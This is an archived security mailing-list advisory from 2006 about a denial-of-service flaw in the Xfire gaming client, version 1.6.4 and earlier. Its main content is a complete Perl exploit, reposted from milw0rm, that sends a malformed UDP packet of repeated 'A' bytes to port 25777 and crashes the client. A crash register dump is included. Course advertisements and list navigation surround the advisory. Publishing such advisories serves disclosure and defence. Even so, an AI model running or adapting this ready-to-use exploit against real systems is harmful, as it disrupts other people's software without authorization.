Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [EXPL] Xfire Malformed Request DoS |
|---|---|
| Date: | 18 Oct 2006 16:31:17 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Xfire Malformed Request DoS ------------------------------------------------------------------------ SUMMARY <http://www.xfire.com/> Xfire "allows you to keeps track of your recent servers, your favorites, and your friends' favorites". The following exploit code can be used to crash the Xfire client by sending it a malformed request. DETAILS Vulnerable Systems: * Xfire version 1.6.4 and prior Immune Systems: * Exploit: #!/usr/bin/perl #Moderator of http://igniteds.net ##################################### #X fire version:new Release 1.64 <12th, 2006> ##################################### #Vendors web site http://www.xfire.com/ #remote exploit coded by: n00b.. #Credit's to n00b for finding this bug.. #Xfire client has a dos exploit closing the client upon #success full exploitation xfire will fail..Ive provided the following #Proof of concept for the exploit..This exploit happens when a malicious #packet is sent to the client on port udp port 25777 this will throw an exception #causing xfire to terminate.Tested on win xp service pack 1 + 2. #this is an example of the error on success full exploitation on the client side. ##################################### # # Error microsoft visual c++ runtime library # # program: c:\program files\xfire\xfire.exe # # r6025 # - pure virtual function call. ##################################### #Debugging info available at crash time. # # eax=77c280e4 ebx=00000000 ecx=77c112b0 edx=77c61a70 esi=7c90e88e edi=000000ff # eip=7c90eb94 esp=0012f5dc ebp=0012f6d8 iopl=0 nv up ei pl zr na pe nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 # ntdll!KiFastSystemCallRet: # 7c90eb94 c3 ret ##################################### #the following is the proof of concept available.. print " 0day Xfire remote dos exploit coded by n00b Release 1.64 <12th, 2006> \n"; use IO::Socket; $ip = $ARGV[0]; $payload = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"; if(!$ip) { die "remember the ip\n"; } $port = '25777'; $protocol = 'udp'; $socket = IO::Socket::INET->new(PeerAddr=>$ip, PeerPort=>$port, Proto=>$protocol, Timeout=>'1') || die "Make sure service is running on the port\n"; print $socket $payload; close($socket); print "client has died h00ha \n"; # milw0rm.com [2006-10-16] ADDITIONAL INFORMATION The information has been provided by n00b. The original article can be found at: <http://milw0rm.com/exploits/2571> http://milw0rm.com/exploits/2571 ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [EXPL] PHP unserialize() Array Creation Integer Overflow (PoC), SecuriTeam |
|---|---|
| Next by Date: | [EXPL] Asterisk Skinny Heap Overflow (PoC), SecuriTeam |
| Previous by Thread: | [EXPL] PHP unserialize() Array Creation Integer Overflow (PoC), SecuriTeam |
| Next by Thread: | [EXPL] Asterisk Skinny Heap Overflow (PoC), SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |